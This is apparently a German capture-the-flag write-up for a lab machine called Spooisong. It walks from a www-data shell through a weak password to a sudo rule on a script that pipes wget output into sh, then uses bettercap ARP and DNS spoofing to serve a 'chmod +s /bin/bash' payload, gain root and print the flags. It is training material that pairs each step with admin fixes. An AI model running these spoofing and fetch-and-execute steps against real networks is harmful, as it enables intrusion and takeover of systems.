Analyse: In der erhaltenen Shell als `www-data` werden erste Enumerationsschritte durchgeführt: `id` (Identität prüfen), `ls -la` (aktuelles Verzeichnis auflisten), `ls /home/` (Home-Verzeichnisse auflisten), `sudo -l` (sudo-Rechte prüfen).
Bewertung: * `id`: Bestätigt `uid=33(www-data)`. * `ls -la`: Zeigt den Inhalt von `/var/www/html/kavin`, was die zuvor gefundenen PHP-Dateien und Verzeichnisse bestätigt. Alle gehören `www-data`. * `ls /home/`: Zeigt ein einziges Home-Verzeichnis namens `suraxddq`. * `sudo -l`: Fragt nach einem Passwort für `www-data`. Da dieses Passwort unbekannt ist, können die sudo-Rechte nicht direkt überprüft werden. Es ist wahrscheinlich, dass `www-data` keine sudo-Rechte hat.
Empfehlung (Pentester): Der Benutzer `suraxddq` ist ein potenzielles Ziel für horizontale Bewegung. Suche nach dessen Passwort oder Schwachstellen, die den Wechsel zu diesem Benutzer ermöglichen. Setze die Enumeration fort: Prüfe Netzwerkverbindungen (`ss -altpn`, `netstat -tulnp`), laufende Prozesse (`ps aux`), Cronjobs, SUID/GUID-Dateien, Kernel-Version (`uname -a`), durchsuchbare Verzeichnisse und Dateien (insbesondere Konfigurationsdateien, Backups).
Empfehlung (Admin): Der `www-data`-Benutzer sollte niemals sudo-Rechte haben. Stelle sicher, dass keine sensiblen Informationen (Passwörter, Schlüssel) in Web-Verzeichnissen gespeichert sind. Überprüfe die Berechtigungen im gesamten Dateisystem.
www-data@spooisong:/var/www/html/kavin$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@spooisong:/var/www/html/kavin$ ls -la total 108 drwxr-xr-x 6 www-data www-data 4096 Sep 3 17:08 . drwxr-xr-x 3 www-data www-data 4096 Sep 3 17:30 .. -rw-r--r-- 1 www-data www-data 13669 Sep 3 17:07 about.php -rw-r--r-- 1 www-data www-data 8450 Sep 3 17:07 contact.php drwxr-xr-x 3 www-data www-data 4096 Sep 3 16:42 css drwxr-xr-x 3 www-data www-data 4096 Sep 3 16:42 fonts drwxr-xr-x 4 www-data www-data 4096 Sep 3 16:42 img -rw-r--r-- 1 www-data www-data 316 Sep 3 16:54 inc.php -rw-r--r-- 1 www-data www-data 13549 Sep 3 16:59 index.php drwxr-xr-x 6 www-data www-data 4096 Sep 3 16:42 js -rw-r--r-- 1 www-data www-data 10545 Sep 3 17:08 portfolio.php -rw-r--r-- 1 www-data www-data 8583 Sep 3 17:08 pricing.php -rw-r--r-- 1 www-data www-data 9595 Sep 3 17:08 services.php www-data@spooisong:/var/www/html/kavin$ ls /home/ suraxddq www-data@spooisong:/var/www/html/kavin$ sudo -l [sudo] password for www-data: sudo: a password is required www-data@spooisong:/var/www/html/kavin$
Analyse: Der Befehl `ss -altpn` wird verwendet, um lauschende TCP-Netzwerksockets aufzulisten (`-l`: listening, `-t`: TCP, `-p`: Prozesse anzeigen, `-n`: numerische Adressen/Ports).
Bewertung: Die Ausgabe zeigt nur den Apache-Webserver (`httpd`), der auf Port 80 (`*:80`) auf allen Interfaces (`*`) lauscht. Es gibt keine anderen auffälligen oder internen Dienste, die von `www-data` aus erreichbar wären.
Empfehlung (Pentester): Keine neuen Angriffsvektoren durch Netzwerkdienste. Konzentriere dich auf Datei-Enumeration, Prozessanalyse und die Suche nach Fehlkonfigurationen.
Empfehlung (Admin): Minimaler Netzwerk-Footprint ist gut. Stelle sicher, dass keine unnötigen Dienste laufen.
www-data@spooisong:/var/www/html/kavin$ ss -altpn State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 511 *:80 *:* users:(("apache2",pid=471,fd=4),("apache2",pid=470,fd=4),("apache2",pid=469,fd=4))
Analyse: Das Verzeichnis `/var/backups` wird untersucht (`ls -la`). Darin wird ein verdächtiges Shell-Skript namens `dns` gefunden, dessen Inhalt mit `cat dns` angezeigt wird.
Bewertung: Das Verzeichnis `/var/backups` enthält neben Standard-Backup-Dateien das Skript `dns`. Dieses Skript gehört `root` und hat Ausführrechte (`-rwxr--r--`). Der Inhalt ist hochinteressant: `#!/bin/bash\n/usr/bin/wget -- "http://sp00is0ng.nyx/configure" | /usr/bin/sh`. Das Skript lädt eine Datei namens `configure` von der URL `http://sp00is0ng.nyx/configure` herunter und führt sie direkt mit `sh` aus. Der Hostname `sp00is0ng.nyx` weicht leicht vom Ziel-Hostname `Spooisong.nyx` ab (Doppel-Null statt Doppel-O), was auf einen möglichen Tippfehler oder eine absichtliche Konfiguration hindeutet.
Empfehlung (Pentester): Dies ist ein potenzieller Vektor für Privilege Escalation! Wenn dieses Skript als `root` ausgeführt wird (z.B. durch einen Cronjob oder `sudo`), könnte man durch DNS-Spoofing oder ARP-Spoofing die Anfrage an `http://sp00is0ng.nyx/configure` auf einen vom Angreifer kontrollierten Webserver umleiten. Dieser Server könnte dann ein bösartiges `configure`-Skript ausliefern, das mit `root`-Rechten ausgeführt wird. Überprüfe, ob `www-data` das Skript ausführen darf (`./dns`) und suche nach Hinweisen, wie oder wann es ausgeführt wird (Cron, `sudo -l` für andere Benutzer).
Empfehlung (Admin): Skripte in Backup-Verzeichnissen sind ungewöhnlich und sollten überprüft werden. Das Herunterladen und direkte Ausführen von Code aus einer HTTP-Quelle ist extrem gefährlich. Wenn das Skript benötigt wird, sollte es auf sicherere Methoden umgestellt werden (z.B. signierte Pakete, HTTPS mit Zertifikatsprüfung, Ausführung aus vertrauenswürdigen Quellen). Der Hostname `sp00is0ng.nyx` sollte überprüft werden (Tippfehler oder Absicht?).
www-data@spooisong:/var/backups$ ls -la total 336 drwxr-xr-x 2 root root 4096 Sep 3 16:41 . drwxr-xr-x 12 root root 4096 Sep 3 16:41 .. -rw-r--r-- 1 root root 20480 Sep 3 00:00 alternatives.tar.0 -rw-r--r-- 1 root root 9026 Sep 3 16:41 apt.extended_states.0 -rw-r--r-- 1 root root 602 Sep 2 22:22 apt.extended_states.1.gz -rwxr--r-- 1 root root 78 Sep 2 23:01 dns -rw-r--r-- 1 root root 0 Sep 3 00:00 dpkg.arch.0 -rw-r--r-- 1 root root 186 Nov 15 2023 dpkg.diversions.0 -rw-r--r-- 1 root root 100 Nov 15 2023 dpkg.statoverride.0 -rw-r--r-- 1 root root 284271 Sep 2 22:58 dpkg.status.0 www-data@spooisong:/var/backups$ cat dns #!/bin/bash /usr/bin/wget -- "http://sp00is0ng.nyx/configure" | /usr/bin/sh
Analyse: Es wird versucht, das gefundene Skript `/var/backups/dns` direkt als `www-data` auszuführen.
Bewertung: Die Ausführung schlägt fehl (`bash: ./dns: Permission denied`). Dies liegt daran, dass `www-data` keine Ausführrechte für das Skript hat (`-rwxr--r--` bedeutet Besitzer `root` darf lesen/schreiben/ausführen, Gruppe `root` darf lesen, Andere dürfen lesen).
Empfehlung (Pentester): Da `www-data` das Skript nicht direkt ausführen kann, muss nach anderen Wegen gesucht werden. Prüfe, ob der Benutzer `suraxddq` das Skript ausführen darf oder ob es einen Cronjob gibt, der es als `root` startet. Lade Tools wie `pspy` hoch, um laufende Prozesse und Cronjobs zu überwachen.
Empfehlung (Admin): Die Berechtigungen sind hier korrekt restriktiv gesetzt. Das Skript sollte jedoch generell auf seine Notwendigkeit und Sicherheit überprüft werden.
www-data@spooisong:/var/backups$ ./dns bash: ./dns: Permission denied
Analyse: Erneute Suche nach SUID-Dateien und Dateien mit Capabilities wird durchgeführt. Die Berechtigungen von `/etc/passwd` werden überprüft.
Bewertung: Die SUID-Suche (`find / -type f -perm -4000 -ls 2>/dev/null`) findet wieder nur Standard-Binaries. Die Capability-Suche (`getcap -r / 2>/dev/null`) liefert keine Ergebnisse. `/etc/passwd` ist für alle lesbar, was normal ist.
Empfehlung (Pentester): Diese Standard-Checks liefern keine neuen Vektoren. Fokussiere dich auf die Überwachung von Prozessen (pspy) und die Untersuchung des Benutzers `suraxddq` sowie des `dns`-Skripts.
Empfehlung (Admin): Keine neuen Erkenntnisse.
www-data@spooisong:/opt$ find / -type f -perm -4000 -ls 2>/dev/null 913943 60 -rwsr-xr-x 1 root root 59704 Mar 28 10:52 /usr/bin/mount 914039 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 914042 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 917400 72 -rwsr-xr-x 1 root root 72000 Mar 28 10:52 /usr/bin/su 915475 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 914041 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 914038 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 913944 36 -rwsr-xr-x 1 root root 35128 Mar 28 10:52 /usr/bin/umount 917500 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 922664 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 918716 640 -rwsr-xr-x 1 root root 653888 Jun 22 21:38 /usr/lib/openssh/ssh-keysign www-data@spooisong:/opt$ ls -la /etc/passwd -rw-r--r-- 1 root root 1066 Sep 3 17:40 /etc/passwd www-data@spooisong:/opt$ getcap -r / 2>/dev/null www-data@spooisong:/opt$
Analyse: Das Tool `pspy` (64-Bit-Version) wird vom Angreifersystem auf das Zielsystem nach `/tmp` heruntergeladen (`wget`), ausführbar gemacht (`chmod +x`) und gestartet (`./pspy64`), um laufende Prozesse und Cronjobs zu überwachen.
Bewertung: `pspy` startet und listet laufende Prozesse auf. Die initiale Ausgabe zeigt viele Systemd- und Kernel-Prozesse. Wichtig ist es, `pspy` laufen zu lassen, um periodische Aufgaben (Cronjobs) zu erkennen, insbesondere solche, die das verdächtige `/var/backups/dns`-Skript ausführen könnten.
Empfehlung (Pentester): Lasse `pspy` im Hintergrund laufen (`./pspy64 &`) und beobachte die Ausgabe über einen längeren Zeitraum. Suche nach regelmäßigen `CMD`-Einträgen mit `UID=0`, die `/var/backups/dns` oder `wget` oder `sh` aufrufen. Parallel dazu versuche, den Benutzer `suraxddq` zu kompromittieren (Passwort raten, Bruteforce, Suche nach Credentials).
Empfehlung (Admin): Überwache das Herunterladen und Ausführen unbekannter Binärdateien. Überprüfe Cronjobs und geplante Aufgaben auf verdächtige Einträge.
www-data@spooisong:/opt$ cd /tmp/ www-data@spooisong:/tmp$ wget 192.168.2.199/pspy64 --2024-09-14 00:08:32-- http://192.168.2.199/pspy64 Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 0%[ ] 0 --.-KB/s pspy64 100%[===================>] 2.94M --.-KB/s in 0.01s 2024-09-14 00:08:32 (243 MB/s) - ‘pspy64’ saved [3078592/3078592] www-data@spooisong:/tmp$ chmod +x pspy64 www-data@spooisong:/tmp$ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ██▒▓░ ▒▓▒░ ░ ░ ▒▓▒ ▒ ░░ ▒▓▒░ ░ ▓██░▒░ ░▒ ░ ░▒ ░ ░ ░ ▒ ░ ▒ ▒ ░░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Config: Printing events (colored=true), watching directories [/usr /tmp /etc /home /var /opt] (recursive=false) | Scanning for processes every 100ms and on inotify events | Watching commands containing 'backup', 'ssh' (case-insensitive=false) 2024/09/14 00:09:33 CMD: UID=0 PID=21 | 2024/09/14 00:09:33 CMD: UID=0 PID=207 | /lib/systemd/systemd-journald 2024/09/14 00:09:33 CMD: UID=0 PID=20 | 2024/09/14 00:09:33 CMD: UID=0 PID=2 | 2024/09/14 00:09:33 CMD: UID=0 PID=18 | 2024/09/14 00:09:33 CMD: UID=0 PID=167 | 2024/09/14 00:09:33 CMD: UID=0 PID=166 | 2024/09/14 00:09:33 CMD: UID=0 PID=16 | 2024/09/14 00:09:33 CMD: UID=0 PID=15 | 2024/09/14 00:09:33 CMD: UID=0 PID=14 | 2024/09/14 00:09:33 CMD: UID=0 PID=135 | 2024/09/14 00:09:33 CMD: UID=0 PID=13 | 2024/09/14 00:09:33 CMD: UID=0 PID=126 | 2024/09/14 00:09:33 CMD: UID=0 PID=125 | 2024/09/14 00:09:33 CMD: UID=0 PID=124 | 2024/09/14 00:09:33 CMD: UID=0 PID=123 | 2024/09/14 00:09:33 CMD: UID=0 PID=122 | 2024/09/14 00:09:33 CMD: UID=0 PID=121 | 2024/09/14 00:09:33 CMD: UID=0 PID=120 | 2024/09/14 00:09:33 CMD: UID=0 PID=12 | ... (pspy läuft weiter)
Analyse: Es wird versucht, zum Benutzer `suraxddq` zu wechseln (`su suraxddq`). Als Passwort wird der Benutzername selbst (`suraxddq`) eingegeben.
Bewertung: Überraschenderweise ist der Login erfolgreich! Der Benutzer `suraxddq` verwendet seinen eigenen Benutzernamen als Passwort. Dies ist eine extrem unsichere Praxis.
Empfehlung (Pentester): Sehr gut, du hast nun eine Shell als `suraxddq`. Führe sofort `sudo -l` aus, um zu sehen, welche Befehle dieser Benutzer mit `sudo` ausführen darf. Dies könnte der Schlüssel zur Root-Eskalation sein.
Empfehlung (Admin): Erzwinge Passwortrichtlinien, die verbieten, dass Benutzername und Passwort identisch sind. Schulen Sie Benutzer darin, starke, einzigartige Passwörter zu verwenden. Ändere das Passwort für `suraxddq` sofort.
www-data@spooisong:/tmp$ ls /home/ suraxddq www-data@spooisong:/tmp$ su suraxddq Password: suraxddq suraxddq@spooisong:/tmp$
Analyse: In der Shell als Benutzer `suraxddq` wird `sudo -l` ausgeführt, um die erlaubten sudo-Befehle zu überprüfen.
Bewertung: Dies ist der entscheidende Fund für die Privilege Escalation! Die Ausgabe zeigt: * `User suraxddq may run the following commands on spooisong:` * `(root) NOPASSWD: /var/backups/dns` Das bedeutet, der Benutzer `suraxddq` darf das Skript `/var/backups/dns` als `root` ausführen, ohne ein Passwort eingeben zu müssen (`NOPASSWD`). Da wir wissen, dass dieses Skript `wget http://sp00is0ng.nyx/configure | sh` ausführt, ist der Weg zur Root-Shell frei.
Empfehlung (Pentester): Implementiere den DNS-Spoofing-Angriff:
1. Erstelle auf deinem Angreifersystem eine Datei namens `configure`, die einen Payload für Root-Rechte enthält (z.B. `chmod +s /bin/bash` oder eine Reverse Shell als root).
2. Starte einen Webserver auf deinem Angreifersystem (Port 80), der diese `configure`-Datei bereitstellt.
3. Verwende `bettercap` (oder ein anderes Tool), um ARP-Spoofing gegen das Ziel (192.168.2.108) und DNS-Spoofing für den Hostnamen `sp00is0ng.nyx` durchzuführen, sodass Anfragen an diesen Hostnamen auf deinen Webserver umgeleitet werden.
4. Führe auf dem Zielsystem als `suraxddq` den Befehl `sudo /var/backups/dns` aus. Das Skript wird `wget` nutzen, die DNS-Anfrage wird gespooft, dein bösartiges `configure`-Skript wird heruntergeladen und als `root` ausgeführt.
Empfehlung (Admin): Die `sudo`-Regel ist extrem unsicher. Erlaube niemals die passwortlose Ausführung von Skripten, die Code aus unsicheren Quellen herunterladen und ausführen. Überprüfe alle `sudo`-Regeln sorgfältig auf potenzielle Sicherheitsrisiken. Konfiguriere `sudo` nach dem Prinzip der geringsten Rechte.
suraxddq@spooisong:/tmp$ sudo -l Matching Defaults entries for suraxddq on spooisong: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User suraxddq may run the following commands on spooisong: (root) NOPASSWD: /var/backups/dns
Analyse: Dieser Abschnitt demonstriert die Ausnutzung der unsicheren `sudo`-Regel mittels DNS-Spoofing. 1. Auf dem Angreifer-System wird eine Datei `/var/www/html/configure` erstellt. Der Inhalt soll das SUID-Bit auf `/bin/bash` setzen (`chmod +s /bin/bash`). 2. `bettercap` wird auf dem Angreifer-System gestartet, um ARP- und DNS-Spoofing durchzuführen. Es wird konfiguriert, ARP-Antworten für das Ziel `192.168.2.108` zu fälschen und DNS-Anfragen für `sp00is0ng.nyx` auf die IP des Angreifers (`192.168.2.199`) umzuleiten. 3. Auf dem Zielsystem (als `suraxddq`) wird das privilegierte Skript `sudo /var/backups/dns` ausgeführt.
Bewertung: Der `bettercap`-Output zeigt, dass das ARP-Spoofing und DNS-Spoofing aktiviert sind. Als `sudo /var/backups/dns` ausgeführt wird, versucht `wget` im Skript, `http://sp00is0ng.nyx/configure` aufzulösen. Durch das DNS-Spoofing wird die IP des Angreifers (`192.168.2.199`) zurückgegeben. `wget` lädt die bösartige `configure`-Datei vom Webserver des Angreifers herunter. Diese wird dann durch die Pipe (`|`) an `sh` übergeben und als `root` ausgeführt (da `sudo` verwendet wurde). Der Befehl `chmod +s /bin/bash` wird somit mit Root-Rechten ausgeführt.
Empfehlung (Pentester): Der Exploit wurde erfolgreich ausgeführt. Überprüfe mit `ls -la /bin/bash`, ob das SUID-Bit gesetzt ist (Berechtigungen sollten `-rwsr-xr-x` oder ähnlich sein). Führe dann `/bin/bash -p` aus, um die Root-Shell zu erhalten.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur `sudo`-Regel und zum unsicheren Skript. Implementiere ARP-Spoofing-Erkennung (z.B. `arpwatch`) und DNS-Sicherheitsmaßnahmen (z.B. DNSSEC, wenn möglich, oder interne DNS-Server härten).
bettercap v2.32.0 (built for linux amd64 with go1.22.3) [type 'help' for a list of commands] 192.168.2.0/24 > 192.168.2.199 [01:01:28] [sys.log] [war] Could not find mac for 192.168.2.0/24 > 192.168.2.199 set dns.spoof.domains sp00is0ng.nyx 192.168.2.0/24 > 192.168.2.199 set arp.spoof.targets 192.168.2.108 192.168.2.0/24 > 192.168.2.199 dns.spoof on [01:02:24] [sys.log] [inf] dns.spoof sp00is0ng.nyx -> 192.168.2.199 [01:02:24] [sys.log] [inf] dns.spoof starting net.recon as a requirement for dns.spoof ... (net.recon output) ... 192.168.2.0/24 > 192.168.2.199 arp.spoof on [01:02:29] [sys.log] [inf] arp.spoof arp spoofer started, probing 1 targets. ... (endpoint events) ...
suraxddq@spooisong:/var/www/html/kavin$ sudo /var/backups/dns --2024-09-14 23:00:12-- http://sp00is0ng.nyx/configure Resolviendo sp00is0ng.nyx (sp00is0ng.nyx)... 192.168.2.199, ffff:192.168.2.199 Conectando con sp00is0ng.nyx (sp00is0ng.nyx)[192.168.2.199]:80... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 32 Grabando a: ‘STDOUT’ - 100%[===================>] 32 --.-KB/s in 0s 2024-09-14 23:00:12 (793 KB/s) - escritos a stdout [32/32]
Analyse: Es folgen weitere Versuche und Ausgaben von `bettercap`, `tcpdump` und fehlgeschlagene `wget`-Aufrufe in einer Schleife. Diese scheinen Probleme beim DNS-Spoofing oder der Konfiguration zu dokumentieren.
Bewertung: Diese Abschnitte zeigen, dass der Angriff nicht auf Anhieb funktionierte. Es gab Probleme mit der Namensauflösung (`falló: Nombre o servicio desconocido`). Die `tcpdump`-Ausgabe zeigt ARP-Replies vom Angreifer, was das ARP-Spoofing bestätigt. Der zweite `bettercap`-Durchlauf verwendet zusätzliche Optionen (`set dns.spoof.all true`, `set arp.spoof.fullduplex true`), was auf Troubleshooting hindeutet. Schließlich scheint der Angriff aber funktioniert zu haben, wie die spätere Überprüfung von `/bin/bash` zeigt.
Empfehlung (Pentester): Auch fehlgeschlagene Versuche und Troubleshooting sind Teil des Prozesses und sollten dokumentiert werden. Sie zeigen die Widerstandsfähigkeit des Systems oder die Komplexität des Angriffs. Wichtig ist, dass das Endziel erreicht wurde.
Empfehlung (Admin): Die Fehlermeldungen bei der Namensauflösung könnten auf intermittierende Netzwerkprobleme oder Schutzmechanismen hindeuten. Die Analyse der fehlgeschlagenen Versuche kann helfen, die Angriffspfade besser zu verstehen und Abwehrmaßnahmen zu optimieren.
192.168.2.0/24 > 192.168.2.199 net.show ... (net.show output) ... 192.168.2.0/24 > 192.168.2.199 set dns.spoof.domains sp00is0ng.nyx 192.168.2.0/24 > 192.168.2.199 set dns.spoof.all true 192.168.2.0/24 > 192.168.2.199 set arp.spoof.targets 192.168.2.108 192.168.2.0/24 > 192.168.2.199 set arp.spoof.fullduplex true 192.168.2.0/24 > 192.168.2.199 arp.spoof on [22:59:39] [sys.log] [inf] arp.spoof enabling forwarding ... (spoofing aktiv) ... 192.168.2.0/24 > 192.168.2.199 dns.spoof on [22:59:45] [sys.log] [inf] dns.spoof sp00is0ng.nyx -> 192.168.2.199 ... (DNS spoofing logs) ... [23:00:12] [sys.log] [inf] dns.spoof sending spoofed DNS reply for sp00is0ng.nyx (->192.168.2.199) to 192.168.2.108 ...
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 00:44:54.114132 ARP, Reply 192.168.2.199 is-at 08:00:27:30:2e:da (oui Unknown), length 46 00:44:55.126152 ARP, Reply 192.168.2.199 is-at 08:00:27:30:2e:da (oui Unknown), length 46 ... (weitere ARP replies) ...
suraxddq@spooisong:/tmp$ for num in {1..1000}; do sudo /var/backups/dns; done Resolviendo sp00is0ng.nyx (sp00is0ng.nyx)... falló: Nombre o servicio desconocido. wget: no se pudo resolver la dirección del equipo sp00is0ng.nyx --2024-09-14 00:43:55-- http://sp00is0ng.nyx/configure Resolviendo sp00is0ng.nyx (sp00is0ng.nyx)... falló: Nombre o servicio desconocido. wget: no se pudo resolver la dirección del equipo sp00is0ng.nyx ... (mehrere Fehler) ... ^C
Analyse: Nach dem (letztendlich erfolgreichen) DNS-Spoofing-Angriff wird die `/bin/bash`-Datei auf dem Zielsystem überprüft (`ls -la /bin/bash`). Anschließend wird `/bin/bash -p` ausgeführt, um die Root-Shell zu erhalten.
Bewertung: Die Berechtigungen von `/bin/bash` sind nun `-rwsr-sr-x`. Das 's' an der Stelle des 'x' für den Besitzer (root) und die Gruppe (root) zeigt, dass das SUID- und das SGID-Bit gesetzt wurden. Der Befehl `/bin/bash -p` funktioniert jetzt und liefert eine Shell mit `euid=0(root)` und `egid=0(root)`. Root-Zugriff wurde erfolgreich erlangt!
Empfehlung (Pentester): Root-Zugriff bestätigt! Navigiere zu `/root`, lies die `root.txt`-Flag. Sammle beide Flags und dokumentiere den gesamten Angriffspfad im Bericht.
Empfehlung (Admin): Das System ist kompromittiert. Sofortige Maßnahmen (Isolation, Forensik, Neuinstallation/Wiederherstellung, Patching der LFI und sudo-Schwachstelle) sind erforderlich. Entferne das SUID-Bit von `/bin/bash` (`chmod -s /bin/bash`).
suraxddq@spooisong:/tmp$ ls -la /bin/bash -rwsr-sr-x 1 root root 1265648 mar 29 20:40 /bin/bash
suraxddq@spooisong$ /bin/bash -p bash-5.2# id uid=1000(suraxddq) gid=1000(suraxddq) euid=0(root) egid=0(root) groups=0(root),1000(suraxddq)
Analyse: In der Root-Shell wird die User-Flag aus `/home/suraxddq/user.txt` und die Root-Flag aus `/root/root.txt` ausgelesen.
Bewertung: Beide Flags werden erfolgreich angezeigt: * User-Flag: `bca7e2be452776803ff6ff7aed76416b` * Root-Flag: `3d7c0671c87e41cb601d60417992d817` Damit sind die Ziele des Penetrationstests erreicht.
Empfehlung (Pentester): Penetrationstest erfolgreich abgeschlossen. Erstelle den finalen Bericht.
Empfehlung (Admin): Priorisiere die Behebung der identifizierten Schwachstellen (LFI, unsicheres Passwort, unsichere sudo-Regel).
bash-5.2# cd ~ bash-5.2# ls user.txt bash-5.2# cat user.txt bca7e2be452776803ff6ff7aed76416b bash-5.2# cd /root/ bash-5.2# ls root.txt bash-5.2# cat root.txt 3d7c0671c87e41cb601d60417992d817